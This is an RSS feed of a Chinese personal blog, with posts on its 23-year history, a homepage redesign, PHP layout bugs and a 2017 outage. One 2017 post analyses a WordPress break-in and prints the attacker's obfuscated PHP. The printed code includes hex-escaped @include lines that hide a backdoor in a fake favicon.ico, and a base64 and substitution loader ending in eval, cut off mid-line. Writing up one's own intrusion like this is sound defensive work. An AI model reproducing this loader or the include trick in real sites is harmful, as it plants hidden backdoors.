<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[愚夫日记]]></title> 
<link>https://www.rchan.net/blog/index.php</link> 
<description><![CDATA[真正的幸福，在于对平淡生活的热爱……]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[愚夫日记]]></copyright>
<item>
<link>https://www.rchan.net/blog/read.php?1642</link>
<title><![CDATA[一个老博的坚守]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 09 Mar 2026 06:02:02 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1642</guid> 
<description>
<![CDATA[ 
	回头看看，有记录里用BO-BLOG写下的第一篇博客，是2003年1月21日，至今23年了。<br/><br/>23年来，这个博客累计了超过1,280万访问（到现在，具体是12,808,769），自己写下了1,626篇博文。在日渐快销的年代，社交媒体二十年间已经风云变幻，更换了N代，从可公可私、独立部署的博客到集中部署、强调社交属性的微博，到私有化社交圈的朋友圈，海外热热闹闹的facebook、Twitter（X）、IG，再到新时代的视频社交（抖音、快手等）从点对多点的直播走向广泛的社交，再到电商承载。<br/><br/>分享的内容，从一篇一篇的写，到几个字地发，再到啥都不说了扔一张自拍，再到跳个舞、美一美。再不然就是找一个爆点，AI一张图，随手一张图，故事全靠写，可真可假，只要热闹就行。<br/><br/>而理查一个老博，默默在坚守这个古老的阵地。虽然能够静静坐下来写文字的机会，已经少了很多，但，我还在！<br/><br/>能够让我坚守这么多年的，就两个工具了：<br/><br/>- BO-BLOG<br/><br/>- eDiary<br/><br/>都是从2003年开始用的，感谢Bob和郝新更写的好工具，小而美，竟然二十多年还离不开！eDiary竟然从1999年第一版到现在竟然还有更新！<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1638</link>
<title><![CDATA[新首页终于上线了]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sun, 09 Nov 2025 17:38:12 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1638</guid> 
<description>
<![CDATA[ 
	原来的首页用了十多年，一直也没有去更新。<br/><br/>终于抽了一点点时间去重写了新首页的代码，还有AI帮忙。<br/><br/>这是用了多年的首页，纪念一下：<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=3184" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=3184" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>这是全新的首页，现代味道重一些了：<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=3186" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=3186" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E9%25A6%2596%25E9%25A1%25B5" rel="tag">首页</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1631</link>
<title><![CDATA[版面混乱的原因]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 22 Aug 2025 15:59:59 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1631</guid> 
<description>
<![CDATA[ 
	又有一段时间没有过来了，博客这边的访问计数器已经跳过了1226万。<br/><br/>不过，之前那个版面混乱的情况，仍有发生，这次终于发现了问题，原来是https的版面受到影响，http的没有问题。<br/><br/>分析原因是版本，很多PHP语句，在高版本里面已经不被支持，需要对比着ERROR LOG、重新用新版本的写法重写一些语句。<br/><br/>但完成后，仍然长期受版面混乱困惑。<br/><br/>后记：在BLOG设置中，将URL路径改成https就可以将默认的访问改为支持https，并且http也可以兼容。
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1611</link>
<title><![CDATA[博客，默默的坚持]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 23 May 2023 05:47:00 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1611</guid> 
<description>
<![CDATA[ 
	朋友提起，过来看了下久违了的博客，竟然累积访问量超过了一千万了。距离第一篇日记的2003年1月21日，不知不觉二十年。期间各种社交媒体层出不穷，经历过博客、新浪微博、QQ空间、朋友圈、抖音、Facebook、TT、小红书等等等等，而我一直默默的守在这里，自己的域名，自己的服务器，自己的空间，用着15年前停更的代码，没有去作宣传，没有去SEO推广，静静地写，贴自己的图，淡淡定定。<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=3146" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=3146" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=3147" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=3147" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=3148" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=3148" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E5%258D%259A%25E5%25AE%25A2" rel="tag">博客</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1538</link>
<title><![CDATA[网站终于恢复了]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 19 Sep 2017 10:21:44 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1538</guid> 
<description>
<![CDATA[ 
	前几天应该是受到了攻击，网站服务器的CPU以及内存使用迅速达到100%，服务器不堪负荷，停止工作。<br/><br/>今天终于恢复了。<br/><br/>一些运行数据，记录下。<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=2851" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=2851" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=2853" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=2853" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=2852" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=2852" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2594%25BB%25E5%2587%25BB" rel="tag">攻击</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E7%25AB%2599%25E5%258A%25A1" rel="tag">站务</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?1535</link>
<title><![CDATA[WordPress漏洞被入侵]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 24 Jul 2017 02:04:40 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?1535</guid> 
<description>
<![CDATA[ 
	偶然的机会，发现站内PHP代码有变化，继续追踪，发现是PhotoInfo站的链接公布出去以后，使用的WordPress被攻击。<br/><br/>导致整个网站原index.php的文件头<?php后都被添加了这样一行代码：<br/><br/><div class="code">/*670e4*/<br/><br/>@include &quot;&#92;x2fhom&#92;x65/rc&#92;x68ann&#92;x65t/p&#92;x75bli&#92;x63_ht&#92;x6dl/p&#92;x68one&#92;x69nfo&#92;x2fwp-&#92;x61dmi&#92;x6e/cs&#92;x73/fa&#92;x76ico&#92;x6e_4a&#92;x36299&#92;x2eico&quot;;<br/><br/>/*670e4*/<br/></div><br/><br/>这里670e4这个编码是随机的，用于随机识别。Decode了之后是这样的：<br/><br/><div class="code">@include &quot;/home/rchannet/public_html/phoneinfo/wp-admin/css/favicon_4a6299.ico&quot;;<br/></div><br/><br/>例如，Word Press等网站，原来是index.html的，被改名为index.html.bak.bak，放在相同的目录下，新建一个这样的index.php：<br/><br/><div class="code">&lt;?php<br/>/*22baf*/<br/><br/>@include &quot;&#92;x2fh&#92;x6fm&#92;x65/&#92;x72c&#92;x68a&#92;x6en&#92;x65t&#92;x2fp&#92;x75b&#92;x6ci&#92;x63_&#92;x68t&#92;x6dl&#92;x2fp&#92;x68o&#92;x6ee&#92;x69n&#92;x66o&#92;x2fw&#92;x70-&#92;x61d&#92;x6di&#92;x6e/&#92;x63s&#92;x73/&#92;x66a&#92;x76i&#92;x63o&#92;x6e_&#92;x34a&#92;x362&#92;x399&#92;x2ei&#92;x63o&quot;;<br/><br/>/*22baf*/<br/><br/>echo file_get_contents(&#039;index.html.bak.bak&#039;);<br/></div><br/><br/>Decode过来是：<br/><br/><div class="code">@include &quot;/home/rchannet/public_html/phoneinfo/wp-admin/css/favicon_4a6299.ico&quot;;<br/><br/>echo file_get_contents(&#039;index.html.bak.bak&#039;);<br/></div><br/><br/>可见，导入的代码都指向这个文件：phoneinfo/wp-admin/admin/css/favicon_4a6299.ico。<br/><br/>这里用了ico文件来做隐藏，其实是个PHP代码文件，在每一个index.php的文件头include进去。其内容如下：<br/><br/><div class="code">&lt;?php<br/>if (!defined(&#039;ALREADY_RUN_1bc29b36f342a82aaf6658785356718&#039;))<br/>&#123;<br/>define(&#039;ALREADY_RUN_1bc29b36f342a82aaf6658785356718&#039;, 1);<br/><br/> $woplfyzucb = 2740; function eihgrby($wqgyd, $bilgypq)&#123;$anqseclem = &#039;&#039;; for($i=0; $i &lt; strlen($wqgyd); $i++)&#123;$anqseclem .= isset($bilgypq&#91;$wqgyd&#91;$i&#93;&#93;) ? $bilgypq&#91;$wqgyd&#91;$i&#93;&#93; : $wqgyd&#91;$i&#93;;&#125;<br/>$uugqdvuw=&quot;base&quot; . &quot;64_decode&quot;;return $uugqdvuw($anqseclem);&#125;<br/>$bfnpdyp = &#039;I19Ybzgo5QxGUeNCPb3xUyDlUx845eUyjbgJNchXP24Ybzgo5QxGUeNCPb345e3GZTDw5&#039;.<br/>&#039;rDLDwsSXbziI1oFAvdoTrYx3bSy5vfVTeNVZvYn3pxl5x8CAvnxDwsSXbziI1oFZ&#039;.<br/>&#039;TDw5rDGUQNs5rDCAvdyPIFoJsCP1aYx3f8CAvnxTeho5vxCPIFoJsCPI19YbQxQPbfz&#039;.<br/>&#039;ZvZo5QNzPbD1KfgGmc8XqOzoI1oiI19SqbFSZpNQAvdxPbD1Kfg&#039;.<br/>&#039;Gmc8XqOsSqxhtqOziI1o8I19YbQxQPbfzZvZo5QNzPbDEKNDf1nmRcxxGcCN11NDgNE8KqOzo&#039;.<br/>&#039;I1oiI19SqbFSZpNQAvdxPbDEKNDf1nmRcxxGcCN11NDgNE8KqOsSqO0OP24YbyCYbSCPAvHSPbfzZvZo5QNzPb3&#039;.<br/>&#039;g2fDf1cmZTnDN2x0hYImMJI3MZMHwXeDkJIDkHvZoYMkwAvfOX2Zk3pxlX2SyPKzYby4YbOFSqbgzZvZo5Qc9DCfXczNgmfx&#039;.<br/>&#039;GcxNJTLECYpXVYeYQYMqLHQEVXQfkZQzeJaDoHvqhYQfCAv0hJbU4qIEoJsCPI19SqbFSDpmk3pESRKgJNchXJsCPqb&#039;.<br/>&#039;FSqbmzHTmkTeBx7KF8qEdN2EsiI19YbOFSqbFzmChR1zfXcn4yHrYGHTNCAb33qICSDeHLXvXLY2EVjvcCYecBYI&#039;.<br/>&#039;SLXwnkX2Fnj2FhHQNkXLHdZMFeYOUiI19SqbFSZehlHQf4qbmMUn8k3Tm9JsCPI19YbOFSqb&#039;.<br/>&#039;goZOF9qvZn5QYCAv8tTeNVATYCUwSyZQx4ZN8s3TmGHe8t3pNt3aXyPKzYbOF&#039;.<br/>&#039;SqbgiI19SqbFSqbFSqpZn5QYCAv8tqpZo5pNGUaNCTeYl5ymx5ymLPbmtjbFzZbs&#039;.<br/>&#039;SDpZ4HvUSRKgpHvhLZKzYbOFSqbFSqbFS7sCPqbFSqbFSqbFSqbFSDpnlZpcSRKF&#039;.<br/>&#039;zZQhkZwF8RKFVqI0SDeEyqI9SDrUyJsCPqbFSqbFSqbFSqbFSDpHSRKgFZQ8&#039;.<br/>&#039;sZvV9DpV4qbmB5emxP24YbOFSqbFSqbFSqbFSqpxQqbSzZOF8R2CSmQf4UecoI19SqbFSqbFSqbFSqbgi&#039;.<br/>&#039;I19SqbFSqbFSqbFSqbFSqbFSUQNC3TDtqIFiI19SqbFSqbFSqbFSqbg8I19SqbFSqbFSqbFSqbgx5aYxI19Sq&#039;.<br/>&#039;bFSqbFSqbFSqbgiI19SqbFSqbFSqbFSqbFSqbFSAvHSPpxLTefwUQfdPbmzPKzSDp1SRKgo5Tg45emxPbm&#039;.<br/>&#039;zP24YbOFSqbFSqbFSqbFSqbFSqbFzHyxCZTYG3rDo3amx5OF8qpZrUQxCZK&#039;.<br/>&#039;SzZOsSDp1oJsCPqbFSqbFSqbFSqbFSqbFSqpZM5p8LZKSzZOziI19SqbFSqbFSqbFSqbFSqbFSUQ&#039;.<br/>&#039;NC3TDtqbmO7TmxUn8rUQxC3pNtJsCPqbFSqbFSqbFSqbFSG1CPqbFSqbFSqbg8I19SqbFSG1CP&#039;.<br/>&#039;I19SqbFSAvHSPbfQ3vdM3pxl5x8x7pxL3aX9DeZo5pNGZeNCTeYl5ymx5ymL&#039;.<br/>&#039;DwzoI19SqbFS7sCPqbFSqbFSqbgQ3vdM3pxl5OgQAvhxTe3x3f8M5edCZvdCUwSzZQx4Z&#039;.<br/>&#039;vdk5vcoI19SqbFSqbFSqa4YbOFSqbFSqbFSqbFSqbmQApftZphxqICSZQ8s&#039;.<br/>&#039;ZvV9DpZo5pNtHvnxjbFOUOqoJsCPqbFSqbFSqbFSqbFSDpZM5edCZvdCUwF8qpZwZvfzPbmQApft&#039;.<br/>&#039;ZphxjbgQAvhxUexWZKSzZQx4Zvdk5vcoP24YbOFSqbFSqbFSqbFSqpZM5p8LZKSzZQkk5Qm4ZKziI19YbOFSqbFSqbFSqbFSqa&#039;.<br/>&#039;Dx3aNw5OFzZQYl5ymx5ymLJsCPqbFSqbFSqbg8I19SqbFSG1CPqbFSqpZn5QYCAv8tqpYLTe3x3f8M3TD&#039;.<br/>&#039;wZvdCTeZo5pNsHTm9PbzYbOFSqbgiI19SqbFSqbFSqaDx3aNw5OgCUQxBPagwZv3GUQNs5pfMZKSOjns9jOoUDb0OjbFyD&#039;.<br/>&#039;wsSTn8pKchfTn0oP24YbOFSqbg8I19YbOFSqbgQ3vdM3pxl5OgMUn8zZvYw7TgCTrg9HT&#039;.<br/>&#039;YxPbmzHTmkjbFzAeNdP1CPqbFSqa4YbOFSqbFSqbFSDp8n3f8zHTmkqICSqOqiI19YbOFSqbFSq&#039;.<br/>&#039;bFSZQ8wqbSzA2CsJwFzA2hL3aD4ZvV9Dpmk3pEoJwzYbOFSqbFSqbF&#039;.<br/>&#039;S7sCPqbFSqbFSqbFSqbFSZQ8wqbSzAMCsJwFzAMhL3aD4ZvV9DpBx7Kz&#039;.<br/>&#039;SDOHSDpz0Urmw5pNtPbmzHTmkP24SDp96PwsSDpz6PwzYbOFSqbFSqbFSqb&#039;.<br/>&#039;FSqa4YbOFSqbFSqbFSqbFSqbFSqbFz5rNCTemk3pESjMCSHekwPp8wZbSzZpfCHN4zANCoqfVS5rDzPbm6ZTx5Dpo3PKziI1&#039;.<br/>&#039;9SqbFSqbFSqbFSqbg8I19SqbFSqbFSqaCYbSCPqbFSqbFSqbgwZTmnUQVSDp8n3f8zHTmkJsCPqbFSqaCYbSC&#039;.<br/>&#039;PqbFSqpZn5QYCAv8tqpYLTemxHrDdUa19Dpmk3pE4qbm6ZTzoI19SqbFS7sCPqbFSqbFSqbgy5p8OHvsSDpYLTefn3pSiI1&#039;.<br/>&#039;9YbOFSqbFSqbFSUQNC3TDtqpYLTemxHrDdUamGUpkkUec9HrYGZpNMUyxs3f8sApfLZKSzZpfCHKsSDpBx7K&#039;.<br/>&#039;z4qbmMUn8k3Tm9P24YbOFSqbg8I19SqbFSZyNtHrmo5eVSHrYGZvdMU&#039;.<br/>&#039;yxs3bSzZpfCHKsSDpBx7KzYbOFSqbgiI19SqbFSqbFSqp345eDk5bFzHrY&#039;.<br/>&#039;GHTNCAI4YbSCPqbFSqbFSqbgwZTmnUQVSHrYGZpNMUyxs3f8sApfLZKkMUn8zZvYw7TgCTrg9HTYxPbmzHTmkjbFzHrYGHTNCA&#039;.<br/>&#039;bz4qbm6ZTzoJsCPqbFSqaCYbSCPqbFSqpZn5QYCAv8tqpYLTe3x3f8s5aNyAvdGHe8tZQxyPbzYbOFSqbgiI19SqbFSqbFSqbmL&#039;.<br/>&#039;ZvhQTeYl5ymx5y1SRKgFZQx4ZN8yZTmGHe8t3pNt3aX9HrYGZeNCTeYnUyDx5ymGZQx4ZTgk&#039;.<br/>&#039;3pS9PKziI19YbOFSqbFSqbFSDpYl5QZoZn8s5rXSRKgL3aDs5rX9DaYx5pZG&#039;.<br/>&#039;He8t3pNt3bsS5v1nPpYLTe3x3f8M3TDwZvdCTeZo5pNsHTm9PbzoP24Yb&#039;.<br/>&#039;OFSqbFSqbFSAvHSPbmM5edQAv3GUp8LqbE8RKgp1ch2mKzYbOFSqbFSq&#039;.<br/>&#039;bFS7sCPqbFSqbFSqbFSqbFSDpYl5QZoZwF8qaYnHyYCUOSzUeN4Zx8M5edCZvdCj&#039;.<br/>&#039;bFzHe8tZQxyTrglUwF6qIXwP24YbOFSqbFSqbFSqbFSqbms5aNyAvdLqICS1aNtUeNwAvf4A&#039;.<br/>&#039;ToxPpYLTemxHrDdUa19HQfLZ2HCTemxHe8zZKSzHe8tZQxyPKsS5v1nPpYLTe3x3f&#039;.<br/>&#039;8M3TDwZvdCTeZo5pNsHTm9PbzoPKziI19SqbFSqbFSqaCYbOFSqbFSqbFSZvhLZ1CPqbFSqbF&#039;.<br/>&#039;SqbgiI19SqbFSqbFSqbFSqbFzUphnZextUwF8qEfwUQfdPbziI19SqbFSqbFSqaCYbSCPqbFSqbFSqbgwZTmnU&#039;.<br/>&#039;QVSDag43v3o5yXiI19SqbFSG1CPI19SqbFSZyNtHrmo5eVSHrYGUeNCTrg43v3o5x8M5edQAvU9Dag43v3o5yXoI19&#039;.<br/>&#039;SqbFS7sCPqbFSqbFSqbFzHe8tZQxyTeNtHwF8qpDkUeceYf8x5QYlZpc9HrYGZvdMUy&#039;.<br/>&#039;xs3bkFUeNwAvf4AToxPbms5aNyAvdLPKsS5v1nPpYLTe3x3f8M3TDwZvdCTeZo5pNs&#039;.<br/>&#039;HTm9PbzoPKziI19SqbFSqbFSqbmLZvhQTeYl5ymx5y1SRKgFZQx4ZN8yZTmGHe8&#039;.<br/>&#039;t3pNt3aX9HrYGZeNCTeYnUyDx5ymGZQx4ZTgk3pS9PKziI19YbOFSqbFSqbFSDpYl&#039;.<br/>&#039;5QZoZn8s5rXSRKgL3aDs5rX9DaYx5pZGHe8t3pNt3bsS5v1nPpYLTe3x3f8M3&#039;.<br/>&#039;TDwZvdCTeZo5pNsHTm9PbzoP24YbOFSqbFSqbFSAvHSPbmM5edQAv3GUp8LqbE8RKgp1ch2mKzYbOFSqbFSqbFS7sCPqbFSqb&#039;.<br/>&#039;FSqbFSqbFSDpYl5QZoZn8l5p1SRKgL3vDL3aq9DaYx5pZGHe8t3pNt3bsSDpYl5QZoZn8s5rXSPwFLXOziI19SqbFSq&#039;.<br/>&#039;bFSqbFSqbFzUeN4Zx8M5edCZvdCqICSUrmwTrDxUphkHec9DpYl5QZoZn8l5p14qbmM5edQAv3GZvdMjbFzUeN4Zx8M5edCZvdCP&#039;.<br/>&#039;24YbSCPqbFSqbFSqbg8I19SqbFSqbFSqpN4UecYbOFSqbFSqbFS&#039;.<br/>&#039;7sCPqbFSqbFSqbFSqbFSDaYx5pZGHe8t3pNt3bF8qbmLZvhQTeYl5ymx5y1SjOFOTpd&#039;.<br/>&#039;U5O0lqOFtqpnzYKkMUn8yZTmGHrNwUQNt3f8QAvhxUpfCAbSoPKFtqbmM5edQAv3GZvdMJsCPqbFSqbFSqbg8I19YbOFS&#039;.<br/>&#039;qbFSqbFS1pZo5pNGUaNCTeYl5ymx5ymLPpYLTe3x3f8M3TDwZvdCTeZo5pNsHTm9P&#039;.<br/>&#039;bz4qbmLZvhQTeYl5ymx5y1oJsCPqbFSqaCYbSCPqbFSqpZn5QYCAv8tqpYLTrg43v3o5x8k&#039;.<br/>&#039;Zp19Dpdk5vc4qbmOHTYxYMmGZpfCHKzYbOFSqbgiI19SqbFSqbFSqbms5aNyAv&#039;.<br/>&#039;dLqICSHrYGZeNCTrg43v3o5x8M5edQAvU9P24YbSCPqbFSqbFSqbFz&#039;.<br/>&#039;UphnZextUn4z5QfBZNCSRKgOHTYxYMmGZpNM5emxPbmOHTYxYMmGZpfCHKziI19YbO&#039;.<br/>&#039;FSqbFSqbFSHrYGUeNCTrg43v3o5x8M5edQAvU9Dag43v3o5yXoJs&#039;.<br/>&#039;CPqbFSqaCYbSCPqbFSqpZn5QYCAv8tqpYLTrg43v3o5x8wZvC9Dpdk5vcoI19SqbFS7sCPqbFSqbFSqbFzU&#039;.<br/>&#039;phnZextUwF8qpYLTe3x3f8s5aNyAvdGHe8tZQxyPbziI19YbOFSqbFSqbFS3vdLZT19Dag43v3o5yY5Dpdk5vN3P24YbS&#039;.<br/>&#039;CPqbFSqbFSqbgMUn8LZTmGUphnZextTeYl5QZoZwSzUphnZextUwziI19SqbFSG1CPI19Sq&#039;.<br/>&#039;bFSZyNtHrmo5eVSHrYGUphnZextTehlHv19Dpdk5vc82xNX2bzY&#039;.<br/>&#039;bOFSqbgiI19SqbFSqbFSqpZlUQNkHeSSPpYLTe3x3f8s5aNyAvdGHe&#039;.<br/>&#039;8tZQxyPbzSHTXSDagtHvnxR2VzUpYl5ymx5y1oI19SqbFSqbFSqa4YbOFSqb&#039;.<br/>&#039;FSqbFSqbFSqpxQqbSz5QfBZKzYbOFSqbFSqbFSqbFSqa4YbOFSqbF&#039;.<br/>&#039;SqbFSqbFSqbFSqbgoZOF9UrmwHensPbmtHvnxjbFzUpdk5vcoqIC8qIFoI19SqbFSqbFSqbFSqbFSqbFS7sCP&#039;.<br/>&#039;qbFSqbFSqbFSqbFSqbFSqbFSqbgx3Qf4PbmsHe8t3pNt3bziI19SqbFSqbFSqbFSqb&#039;.<br/>&#039;FSqbFSqbFSqpDwZvf6JsCPqbFSqbFSqbFSqbFSqbFSqaCYbOFSqbFSqbFSqbFSqaCYbOFSqbFSq&#039;.<br/>&#039;bFSqbFSqpN4UecYbOFSqbFSqbFSqbFSqa4YbOFSqbFSqbFSqbFSq&#039;.<br/>&#039;bFSqbgx3Qf4PbmsHe8t3pNt3bziI19SqbFSqbFSqbFSqbg8I19SqbFSqbFSqaCYbOFSqbg8I19&#039;.<br/>&#039;YbOFSqbgQ5rDxHvY9qbSzTCYR2CBDmKgkUwFzAeNdR2Vz3Qf43vcoI19SqbFS7sCPqbFSqbFSqbFzZpfCHKF8qbmeHvhnZ&#039;.<br/>&#039;24YbOFSqbFSqbFSDpmk3pfGAeNdqICSDpBx724YbOFSqbg8I19YbOFSqbgoZOF9qKmzHTmkP1CPqbFSq&#039;.<br/>&#039;a4YbOFSqbFSqbFSZQ8wZvfMAbF9Df812nYcqpfLqbm6ZTz8ROmeHvhnZKzYbOFSqbFSqbFS7sCPqbFSqbFSqbF&#039;.<br/>&#039;SqbFSDpmk3pESRKFz3Qf43vciI19SqbFSqbFSqbFSqbFzZpfCHN86ZTzSRKFzAeNdJsCPqbFSqbFSqbg8I1&#039;.<br/>&#039;9SqbFSG1CPI19SqbFSDpmk3pESRKgF3vdLZTDoHvho7Qc9HrYG&#039;.<br/>&#039;ZpNMUyxs3bkOHTYxYMmGZpNM5emxPbmzHTmkPKsSDpmk3pfGAeNdPKziI1&#039;.<br/>&#039;9YbOFSqbgoZOF9ATYLZT19Dpmk3pf5Def6DnCoqbHQqbmMUn8k3Tm9R2CzZpfCHN4yH&#039;.<br/>&#039;v4yTKzYbOFSqbgiI19SqbFSqbFSqpxQqbSzZpfCHN4yHK33qIC8qb3oDwzYbOFSqbFSqbFS7sCPqbFSqbFSq&#039;.<br/>&#039;bFSqbFSDpzSRKggUyDk7KSYbOFSqbFSqbFSqbFSqbFSqbFyUaHyqIC+qEgsAageZTDLAv8tPbz4I19SqbFSqbFSqbFSqbFSqbFS&#039;.<br/>&#039;DrYeDwF8ROFyXOVsj2EyjFCPqbFSqbFSqbFSqbFSqbFSqb3kAwUSR2VSDpmk3pf5Def6&#039;.<br/>&#039;DnC4I19SqbFSqbFSqbFSqbFoJsCPqbFSqbFSqbFSqbFSZvY95wgFUeNwAvf4AToxPbmoP24YbOFSq&#039;.<br/>&#039;bFSqbFSqbFSqpNVAT1iI19SqbFSqbFSqaCYbOFSqbFSqbFSZvhLZvxQqbSzZpfCHN4yHK33qI&#039;.<br/>&#039;C8qb3xDwzYbOFSqbFSqbFS7sCPqbFSqbFSqbFSqbFSZTZk5bSzZpfCHN4yZb3&#039;.<br/>&#039;3P24YbOFSqbFSqbFSG1CPqbFSqbFSqbgx5aYxAvHSPbmzHTmkvw3kDnCSR2CSDrg43v3o5OUoI19SqbFSqbFSqa4YbOFSqbFSq&#039;.<br/>&#039;bFSqbFSqpxQPbmzHTmkvw3LHK33qIC8qb3kZp1yP1CPqbFSqbFSqbFSqbFS7sCPqbFSqbFSqbFSqbFSqbFSqp&#039;.<br/>&#039;YLTrg43v3o5x8kZp19Dpmk3pf5DrFyTKsSDpmk3pf5De1yTKziI19SqbFSqbFSqbFSqbg8I19SqbFSqbFSqbFSq&#039;.<br/>&#039;bgx5aYxAvH9Dpmk3pf5DrYkDnCSR2CSDrDx5KUoI19SqbFSqbFSqbFSqbgiI19SqbFSqbFSqbFSqbFSqbFSHrYGUphnZextTrDx5&#039;.<br/>&#039;KSzZpfCHN4yUb33P24YbOFSqbFSqbFSqbFSqaCYbOFSqbFSqbFSG1CPqbFSqbFSqbgxHeklqbmzHTmkvw3kAw33JsCPqb&#039;.<br/>&#039;FSqbFSqbgx7pxCPbziI19SqbFSG1CPI19SqbFSHrYGUphnZextTehlHv19P24YbyC&#039;.<br/>&#039;=&#039;;<br/>$bqioyxaiq = Array(&#039;1&#039;=&gt;&#039;Q&#039;, &#039;0&#039;=&gt;&#039;8&#039;, &#039;3&#039;=&gt;&#039;d&#039;, &#039;2&#039;=&gt;&#039;T&#039;, &#039;5&#039;=&gt;&#039;b&#039;, &#039;4&#039;=&gt;&#039;s&#039;, &#039;7&#039;=&gt;&#039;e&#039;, &#039;6&#039;=&gt;&#039;r&#039;, &#039;9&#039;=&gt;&#039;o&#039;, &#039;8&#039;=&gt;&#039;9&#039;, &#039;A&#039;=&gt;&#039;a&#039;, &#039;C&#039;=&gt;&#039;0&#039;, &#039;B&#039;=&gt;&#039;t&#039;, &#039;E&#039;=&gt;&#039;E&#039;, &#039;D&#039;=&gt;&#039;J&#039;, &#039;G&#039;=&gt;&#039;f&#039;, &#039;F&#039;=&gt;&#039;A&#039;, &#039;I&#039;=&gt;&#039;D&#039;, &#039;H&#039;=&gt;&#039;Y&#039;, &#039;K&#039;=&gt;&#039;S&#039;, &#039;J&#039;=&gt;&#039;O&#039;, &#039;M&#039;=&gt;&#039;j&#039;, &#039;L&#039;=&gt;&#039;z&#039;, &#039;O&#039;=&gt;&#039;i&#039;, &#039;N&#039;=&gt;&#039;V&#039;, &#039;Q&#039;=&gt;&#039;m&#039;, &#039;P&#039;=&gt;&#039;K&#039;, &#039;S&#039;=&gt;&#039;g&#039;, &#039;R&#039;=&gt;&#039;P&#039;, &#039;U&#039;=&gt;&#039;c&#039;, &#039;T&#039;=&gt;&#039;X&#039;, &#039;W&#039;=&gt;&#039;6&#039;, &#039;V&#039;=&gt;&#039;4&#039;, &#039;Y&#039;=&gt;&#039;N&#039;, &#039;X&#039;=&gt;&#039;M&#039;, &#039;Z&#039;=&gt;&#039;Z&#039;, &#039;a&#039;=&gt;&#039;H&#039;, &#039;c&#039;=&gt;&#039;U&#039;, &#039;b&#039;=&gt;&#039;C&#039;, &#039;e&#039;=&gt;&#039;2&#039;, &#039;d&#039;=&gt;&#039;5&#039;, &#039;g&#039;=&gt;&#039;B&#039;, &#039;f&#039;=&gt;&#039;F&#039;, &#039;i&#039;=&gt;&#039;7&#039;, &#039;h&#039;=&gt;&#039;x&#039;, &#039;k&#039;=&gt;&#039;h&#039;, &#039;j&#039;=&gt;&#039;L&#039;, &#039;m&#039;=&gt;&#039;R&#039;, &#039;l&#039;=&gt;&#039;v&#039;, &#039;o&#039;=&gt;&#039;p&#039;, &#039;n&#039;=&gt;&#039;1&#039;, &#039;q&#039;=&gt;&#039;I&#039;, &#039;p&#039;=&gt;&#039;G&#039;, &#039;s&#039;=&gt;&#039;w&#039;, &#039;r&#039;=&gt;&#039;3&#039;, &#039;u&#039;=&gt;&#039;q&#039;, &#039;t&#039;=&gt;&#039;u&#039;, &#039;w&#039;=&gt;&#039;y&#039;, &#039;v&#039;=&gt;&#039;W&#039;, &#039;y&#039;=&gt;&#039;n&#039;, &#039;x&#039;=&gt;&#039;l&#039;, &#039;z&#039;=&gt;&#039;k&#039;);<br/>eval/*jvt*/(eihgrby($bfnpdyp, 